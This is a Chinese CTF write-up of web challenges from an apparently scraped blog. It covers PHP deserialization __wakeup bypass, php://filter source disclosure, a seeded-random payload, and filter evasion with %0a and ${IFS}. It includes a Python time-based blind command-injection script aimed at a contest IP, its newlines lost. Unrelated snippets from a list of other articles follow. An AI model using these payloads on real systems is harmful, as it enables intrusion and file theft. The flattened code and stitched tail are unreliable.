网络内生安全试验场-CTF答题夺旗赛(第四季)web知识

##nani  文件包含和魔法函数 _WAKEUP() 的跳过

在url中直接尝试php为协议 php://filter 拿到use.php的源码

源码中 _wakeup()魔术方法将convent对象中的warn变量赋变为空值  // _WAKEUP()会在反序列化时触发,__wakeup()函数 该魔术方法在反序列化的时候自动调用,为反序列化生成的对象做一些初始化操作

所以当你覆盖warn变量时 warn同时也被赋为空 这里就需要跳过魔术方法

参考https://www.cnblogs.com/CubicZ/p/11938419.html

当反序列化字符串中,表示属性个数的值大于其真实值,则跳过__wakeup()执行。

linnux目录一般再var里面

直接访问txt就可拿到flag ,或者可以用file_get_contents,但是太麻烦,如果是不在这个目录的话就可以用file_get_contents

再者 ,由于这是linux服务器 ,直接 system(‘ls‘);  然后就能查看当前目录 然后看到这个txt 或者将ls 换成dir

##random    知识点伪随机数

参考 https://www.cnblogs.com/zaqzzz/p/9997855.html

payload

seed=12345&key=162946439&hello=file(%27flag.php%27)

或者hello=);print_r(file(‘./flag.php‘));//     特别注意后面又注释  闭合前面的括号后面加个注释最好    // 在php可以注释

##admin   这道题就不说了bugku里面的原题 php为协议和反序列化

###ping   命令执行漏洞

参考到这篇文章 https://www.cnblogs.com/zcz1995/p/10296366.html

strcmp 用数组绕过

php为协议拿到源码

<?php
if(isset($_REQUEST[ ‘ip‘ ])) {
$target = trim($_REQUEST[ ‘ip‘ ]);
$substitutions = array(
‘&‘ => ‘‘,
‘;‘ => ‘‘,
‘|‘ => ‘‘,
‘-‘ => ‘‘,
‘$‘ => ‘‘,
‘(‘ => ‘‘,
‘)‘ => ‘‘,
‘`‘ => ‘‘,
‘||‘ => ‘‘,
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
$cmd = shell_exec( ‘ping -c 4 ‘ . $target );
echo $target;
echo "<pre>{$cmd}</pre>";
}

shell_exec( ‘ping -c 4 ‘ . $target );   //命令执行漏洞 但是这里没过滤全  %0a可以

直接访问就行了

post1  命令执行与绕过

参考这篇好文章!https://blog.csdn.net/silence1_/article/details/96135760

另外  cat可以用cut代替

cut用法  cut -c/-b  1-100  flag.txt                    //-c 按字符分隔  -b 按字节分隔  1-100 一道100列    另外 如果不写 1-100 写成 1 或者是 2 或者是3 那么将只显示 第1 或者是 第2 或者第3 列

直接构造payload为 a=cut${IFS}-c${IFS}1-${IFS}flag.txt      这里直接1- 表示1到最后  可以读取完

post2  命令注入的盲注 还要加上第一题的绕过

顺带提一下 盲注的语句这次是  a=`cut -c 1  flag.txt`;[ $a="str" ] && sleep 3  // 这个语句适合这道题 ,然而在实际中 ,cut -c n 是显示第n列 不只是一个字符 而是一列字符,所以脚本有待提升, 注意[]中的格式

参考 https://blog.csdn.net/shuai0845/article/details/86532142

脚本

import requestsimport stringimport timeurl=‘http://120.55.43.255:22712‘str1=string.ascii_lowercase+string.ascii_uppercase+string.digits+‘{‘+‘}‘+‘_‘print(str1)count=0flag=‘‘sign=0for i in range(1,50):    count+=1    payload=‘‘    payload+=‘a=`cut${IFS}-c${IFS}‘    payload+=str(count)    payload+=‘${IFS}flag.txt`;${IFS}[${IFS}$a${IFS}=${IFS}"‘    payload+=‘}‘    payload+=‘"${IFS}]${IFS}&&${IFS}sleep${IFS}3‘    data={‘cmd‘:payload}    a=time.time()    r=requests.post(url,data=data)    b=time.time()    if(b-a)>2:        print("find")        flaglen=count        print(count)        breakcount=0for i in range(flaglen):    count+=1    sign=0    for letter in str1:        payload=‘‘        payload+=‘a=`cut${IFS}-c${IFS}‘        payload+=str(count)        payload+=‘${IFS}flag.txt`;${IFS}[${IFS}$a${IFS}=${IFS}"‘        payload+=letter        payload+=‘"${IFS}]${IFS}&&${IFS}sleep${IFS}3‘        data={‘cmd‘:payload}        a=time.time()        r=requests.post(url,data=data)        b=time.time()        if(b-a)>2:            flag+=letter            print(flag)            breakprint(flag)

最终跑出答案 

原文地址:https://www.cnblogs.com/tlbjiayou/p/12275961.html

时间: 2024-10-17 09:21:04

网络内生安全试验场-CTF答题夺旗赛(第四季)web知识的相关文章

Winsock网络编程笔记(4)----基本的理论知识

前面的笔记记录了Winsock的入门编程,领略了Winsock编程的乐趣..但这并不能算是掌握了Winsock,加深理论知识的理解才会让后续学习更加得心应手..因此,这篇笔记将记录一些有关Winsock的基本理论知识,由于是一篇笔记,鉴于看书速度有限,主要内容会慢慢地填入..错误在所难免的,希望看客更正..(*^__^*) 嘻嘻…… Winsock网络编程笔记(4)----基本的理论知识,布布扣,bubuko.com

中小型网络的域环境搭建--第四季(搭建DHCP服务器)

<接第三季> 根据第一季里的域环境拓扑图,我这次来介绍怎样安装DHCP服务器.在实际的应用环境中,一个只有十几台电脑的公司使用手动设置IP地址还没什么问题,但是如果有几十台或几百台电脑的公司再使用手动设置IP就会很麻烦,会出现IP冲突等现象.这时使用动态主机配置协议(DHCP)就是很好的选择,它指的是由服务器控制一段IP地址范围,客户机登录服务器时就可以自动获得服务器分配的IP地址和子网掩码. 在实验环境中,我还是使用第三季中搭建好的AD域服务器来做DHCP服务器,在实际应用中你也可以另搭建一

管理聚合链路和桥接网络(多网卡绑定,redhat liunx 7.0) 基础知识

管理聚合链路和桥接网络(多网卡绑定) 一 配置bonding接口,实现多网卡绑定 绑定多网卡,可以有以下优点: 提升网络传输能力 避免网络链路单点故障 bonding的两种绑定工作模式:实际上有7种,其他不常用 0  balance-rr  轮训模式 1  active-backup  高可用模式 逻辑原理 --eth0--- app  --数据发送到---bond0               ---switch---- --eth1--- 创建步骤: 创建主接口(master) bondx

技术分享和交流-中小企业(SMB)如何设计IDC网络架构?如何管理运维资源和知识?

技术分享和交流 2016/12/30 今天,是2016年最后一个工作日,借此分享2个主题. 一.中小企业(SMB)如何设计IDC网络架构 个人经历所见,在中小企业(SMB)中,需要自建机房的,通常就是买几台服务器,托管到IDC,不会去管理它,等到后续业务在增长时,才手忙脚乱:大家都知道,改造没新建容易,因此,我一直有个想法,能否在一开始,通过一些简单的思考,针对中小企业(SMB)的规模,设计一个可以方便扩容的网络架构. 相关思考: 私有云网络规划涂鸦:中小企业(SMB)的需求 https://g

i春秋 “百度杯”CTF比赛 十月场 web题 Backdoor

0x00: 打开题目,题目中告诉我们这题是文件泄露. 0x01: 通过扫描目录,发现可以扫到的有3个文件 index.php flag.php robots.txt 但是浏览flag.php它告诉我们这不是真正的flag 又联系到题目文件泄露,于是测试.swp .swo .bak等备份文件后缀均无果.最后发现是.git泄露. 我们浏览这个url http://6094ef7a9cad4288a4748de8ff8ffc573453e961300f46ce.game.ichunqiu.com/Ch

网络工程师考试上午题如何提高正确率

网络工程师考试是全国计算机技术与软件水平考试的一项中级资格考试,通过考试的合格人员能根据应用部门的要求进行网络系统的规划.设计和网络设备的软硬件安装调试工作,能进行网络系统的运行.维护和管理,能高效.可靠.安全地管理网络资源,作为网络专业人员对系统开发进行技术支持和指导,具有工程师的实际工作能力和业务水平,能指导网络管理员从事网络系统的构建和管理工作.网络工程师考试是软考的一大热门,怎样才能顺利通过考试是广大考生都想知道的,下面希赛软考学院为您带来网络工程师备考锦囊之答题思路篇,教您上午题如何答

网络工程师考试下午题如何得高分

网络工程师考试是全国计算机技术与软件水平考试的一项中级资格考试,通过考试的合格人员能根据应用部门的要求进行网络系统的规划.设计和网络设备的软硬件安装调试工作,能进行网络系统的运行.维护和管理,能高效.可靠.安全地管理网络资源,作为网络专业人员对系统开发进行技术支持和指导,具有工程师的实际工作能力和业务水平,能指导网络管理员从事网络系统的构建和管理工作.网络工程师考试是软考的一大热门,怎样才能顺利通过考试是广大考生都想知道的,下面希赛软考学院为您带来网络工程师备考锦囊之答题思路篇,教您下午题如何答

蓝盾杯网络空间安全攻防对抗大赛小记

9月17日带队在山东大学软件学院参加了山东省第六届蓝盾杯网络攻防对抗大赛,这是第一次参加蓝盾杯的比赛,本来只是想去实战练兵,没想到竟然拿了一等奖,确实有些意料之外的惊喜. 这次比赛分为挑战赛和对抗赛两个环节,挑战赛是标准的CTF试题,比如Web.逆向.隐写等等,这些内容基本都与高职的技能大赛没什么关系,因而只在考试的前两天才安排学生临阵磨了下枪,这部分的比赛结果也挺糟糕,30道题目只做出了2道. 我们重点准备参与的是对抗赛,所有对抗赛的模式基本都大同小异,一方面要加固自己的靶机,同时要攻击别人的

CTF

在过去的两个星期里,我已经在DEFCON 22 CTF里检测出了两个不同的问题:“shitsco”和“nonameyet”.感谢所有的意见和评论,我遇到的最常见的问题是:“我怎么才能在CTFs里开始?”在不久前我问过自己一样的问题,所以我想要给出些对你追求CTFs的建议和资源.最简单的方法就是注册一个介绍CTF的帐号,如CSAW, Pico CTF, Microcorruption或是其他的.通过实践.耐心和奉献精神,你的技能会随着时间而提高. 如果你对CTF竞争环境之外的问题有兴趣,这里有一些